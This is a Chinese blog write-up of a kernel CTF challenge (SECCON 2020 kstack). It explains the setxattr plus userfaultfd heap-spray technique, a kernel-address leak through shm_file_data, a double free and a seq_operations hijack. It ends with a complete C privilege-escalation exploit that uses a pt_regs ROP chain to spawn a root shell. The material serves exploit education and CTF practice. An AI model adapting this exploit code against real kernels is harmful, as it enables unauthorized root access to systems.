kernel堆占位
196082 慢慢好起来

关于userfaultfd这里就不再提及了,不熟悉的可以看一下上一篇文章 https://cv196082.gitee.io/2022/08/16/userfaultfd/

setxattr

setxattr这个系统调用是非常独特的,在kernel的利用中他可以为我们提供几乎任意大小的object分配。

setxattr的调用链如下:

SYS_setxattr()=>path_setxattr()=>setxattr()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static long
setxattr(struct user_namespace *mnt_userns, struct dentry *d,
const char __user *name, const void __user *value, size_t size,
int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];

if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;

error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;

if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(mnt_userns, d_inode(d),
kvalue, size);
}

error = vfs_setxattr(mnt_userns, d, kname, kvalue, size, flags);
out:
kvfree(kvalue);

return error;
}

我发现linux5.19版本里的setxattr函数的代码发生了变化,对于新版本的利用我还了解到比较少这里就不展开说了。可以看到上述代码中可以直接进行kvmalloc之后copy_from_user并且size和value都是我门可控的但是最后会free掉object。

setxattr & userfaultfd

虽然我们可控一个object的内容,但是最后始终会free掉导致我们前功尽弃了。但是看过上一篇文章可以注意到在函数中会调用到copy_from_user从用户空间拷贝数据。那么我们可以产生下述想法:

我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd 监视,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用:

img

上述就是 setxattr + userfaultfd的堆占位技术

例题:SECCON 2020 kstack

题目分析

题目开启保护有:smep,KPTI,kaslr

并且题目给的驱动模块只有一个ioctl函数可供利用。

1
2
3
4
5
6
7
8
9
10
11
v4 = *(_DWORD *)(__readgsqword((unsigned __int64)&current_task) + 860);
v8 = kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL); // size:0x20
*(_DWORD *)v8 = v4;
v9 = head;
head = v8;
*(_QWORD *)(v8 + 16) = v9;
if ( !copy_from_user(v8 + 8, v3, 8LL) )
return 0LL;
head = *(_QWORD *)(v8 + 16);
kfree(v8);
return -22LL;

这里分配使用了kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL);,第二个参数是 flag ,为常规的 GFP_KERNEL这里可以暂且忽略。主要关注的是第一个参数,内核中有一个数组kmalloc_caches存放着kmalloc_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const struct kmalloc_info_struct kmalloc_info[] __initconst = {
INIT_KMALLOC_INFO(0, 0),
INIT_KMALLOC_INFO(96, 96),
INIT_KMALLOC_INFO(192, 192),
INIT_KMALLOC_INFO(8, 8),
INIT_KMALLOC_INFO(16, 16),
INIT_KMALLOC_INFO(32, 32),
INIT_KMALLOC_INFO(64, 64),
INIT_KMALLOC_INFO(128, 128),
INIT_KMALLOC_INFO(256, 256),
INIT_KMALLOC_INFO(512, 512),
INIT_KMALLOC_INFO(1024, 1k),
INIT_KMALLOC_INFO(2048, 2k),
INIT_KMALLOC_INFO(4096, 4k),
INIT_KMALLOC_INFO(8192, 8k),
INIT_KMALLOC_INFO(16384, 16k),
INIT_KMALLOC_INFO(32768, 32k),
INIT_KMALLOC_INFO(65536, 64k),
INIT_KMALLOC_INFO(131072, 128k),
INIT_KMALLOC_INFO(262144, 256k),
INIT_KMALLOC_INFO(524288, 512k),
INIT_KMALLOC_INFO(1048576, 1M),
INIT_KMALLOC_INFO(2097152, 2M),
INIT_KMALLOC_INFO(4194304, 4M),
INIT_KMALLOC_INFO(8388608, 8M),
INIT_KMALLOC_INFO(16777216, 16M),
INIT_KMALLOC_INFO(33554432, 32M)
};

可以看到kmem_caches[5]对应的大小也就是32。然后这里object的前四个字节存放的内容为线程组的id。那么可以推测出结构体:

1
2
3
4
5
struct node{
long int id;
char data[8];
struct node *prev;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
v4 = *(_DWORD *)(__readgsqword((unsigned __int64)&current_task) + 860);
if ( a2 != 0x57AC0001 )
{
if ( a2 != 0x57AC0002 )
return 0LL;
v5 = head;
if ( !head )
return 0LL;
if ( v4 == LODWORD(head->id) )
{
if ( !copy_to_user(a3, &head->data, 8LL) )
{
v6 = v5;
head = (struct node *)v5->prev;
goto LABEL_12;
}
}
else
{
v6 = (struct node *)head->prev;
if ( v6 )
{
while ( LODWORD(v6->id) != v4 )
{
v5 = v6;
if ( !v6->prev )
return -22LL;
v6 = (struct node *)v6->prev;
}
if ( !copy_to_user(a3, &v6->data, 8LL) )
{
v5->prev = v6->prev;
LABEL_12:
kfree(v6);
return 0LL;
}
}
}
return -22LL;
}

然后就是上面这个功能,这里首先判断id是否等于当前进程的id如果是则取出数据,若果不是则开始进行循环查找,找到是当前进程id的object再读取数据。在读取出数据之后会进行脱链然后进行free操作。

利用过程

可以注意到上述代码中都没有锁的操作,所以这也为userfaultfd提供了可能性。

leak

这里只可以读取object+8位置处的数据,这里选择的结构体为: shm_file_data

1
2
3
4
5
6
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};

这里ns位置存放的是kernel的.text段的地址。所以正好是可以泄漏出kernel地址。这里使用的办法就是先创建一个shm结构体随后释放掉,然后我们利用驱动申请一个object,使用userfaultfd阻止我们的数据写入到object中,然后在同一个线程读取出来内容。

attack

后续的利用需要使用到double free,这里的double free不知道为什么是可以直接进行的不需要中间隔一个object,所以有清楚的师傅希望可以在评论区告诉我一下。最后就是使用seq_operationssetxattr进行劫持。在最后会用到堆占位的技术,即我们在setxattr中的copy_from_user时,我们只需要将前面0x8个字节的内容复制到seq_operations中,那么后续使用pt_regs进行稳定的拿到root shell。

对于pt_regs有疑问的可以看一下我前面文章中 0CTF 2021 final kernote 这道题的做法。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <sys/shm.h>
#include <poll.h>

unsigned long *kernel_addr;
unsigned long kernel_base;
unsigned long kernel_offset;

unsigned long *seq_fd_reserve[0x100];

int fd;
int seq_fd;

void create(unsigned long *buf)
{
ioctl(fd, 0x57AC0001, buf);
}

void delete (unsigned long *buf)
{
ioctl(fd, 0x57AC0002, buf);
}

void ErrExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void RegisterUserfault(void *fault_page, unsigned long len, void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL, handler, (void *)uffd);
if (s != 0)
ErrExit("[-] pthread_create");
}

void *leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] leak handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] leak handler unblocked");
// pause();
delete (&kernel_addr);
printf("[*]leak ptr:%p\n", kernel_addr);
kernel_base = kernel_addr - 0x186f78;
kernel_offset = kernel_base - 0xffffffff81000000;

if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}

char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void *double_free_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] double free handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] double free handler unblocked");
// pause();
char *tmp = malloc(0x100);
delete (tmp);

if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}

char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] double free handler done");
return NULL;
}

unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;
unsigned long commit_creds;
unsigned long init_cred;
unsigned long prepare_kernel_cred;
unsigned long mov_rdi_rax_pop_rbp_ret;

void *getroot_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] getroot handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] getroot handler unblocked");
puts("[*] setxattr trapped in userfaultfd.");
for (int i = 0; i < 100; i++)
close(seq_fd_reserve[i]);
// pause();
pop_rdi = 0xffffffff81034505 + kernel_offset;
commit_creds = 0xffffffff81069c10 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34 + kernel_offset + 0x10;
prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset;
mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a + kernel_offset;
__asm__(
"mov r15, 0xbeefdead\n"
"mov r14, 0xbeefdead\n"
"mov r13, pop_rdi\n"
"mov r12, 0\n"
"mov rbp, prepare_kernel_cred\n"
"mov rbx, mov_rdi_rax_pop_rbp_ret\n"
"mov r11, 0xbeefdead\n"
"mov r10, commit_creds\n"
"mov r9, swapgs_restore_regs_and_return_to_usermode\n"
"mov r8, 0xbeefdead\n"
"xor rax, rax\n"
"mov rcx, 0xbeefdead\n"
"mov rdx, 8\n"
"mov rsi, rsp\n"
"mov rdi, seq_fd\n"
"syscall");
puts("[*] execve root shell now...");
system("/bin/sh");

if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}

char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] getroot handler done");
return NULL;
}

int main()
{
fd = open("/proc/stack", O_RDWR);
if (fd < 0)
{
printf("[-] Error opening /proc/stack\n");
exit(-1);
}
unsigned long *buf = malloc(0x4000);
unsigned long *leak_buf;
int shm_id;
unsigned long *shm_addr;
unsigned long *double_free_buf;
char *getroot_buf;
memset(buf, 'a', 0x1000);
for (int i = 0; i < 100; i++)
{
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("seq reserve!");
}

leak_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
RegisterUserfault(leak_buf, 0x1000, leak_handler);
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
ErrExit("shmget!");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
ErrExit("shmat!");
if (shmdt(shm_addr) < 0)
ErrExit("shmdt!");
create(leak_buf);
printf("[*]kernel_base=>%p\n", kernel_base);
printf("[*]kernel_offset=>%p\n", kernel_offset);

double_free_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
RegisterUserfault(double_free_buf, 0x1000, double_free_handler);
create("196082");
delete (double_free_buf);
printf("[*] double free\n");

getroot_buf = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
RegisterUserfault(getroot_buf + 0x1000, 0x1000, getroot_handler);
*(unsigned long *)(getroot_buf + 0x1000 - 8) = 0xffffffff814d51c0 + kernel_offset;
// // add rsp , 0x1c8 ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15; pop rbp ; ret
printf("gadget=>%p\n", *(unsigned long *)(getroot_buf + 0x1000 - 8));
seq_fd = open("/proc/self/stat", O_RDONLY);
setxattr("/exp", "196082", getroot_buf + 0x1000 - 8, 32, 0);

return 0;
}

image-20220906195313852

题目放在:https://github.com/196082/196082/tree/main/kernel_pwn


参考链接:https://www.anquanke.com/post/id/266898#h3-5

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量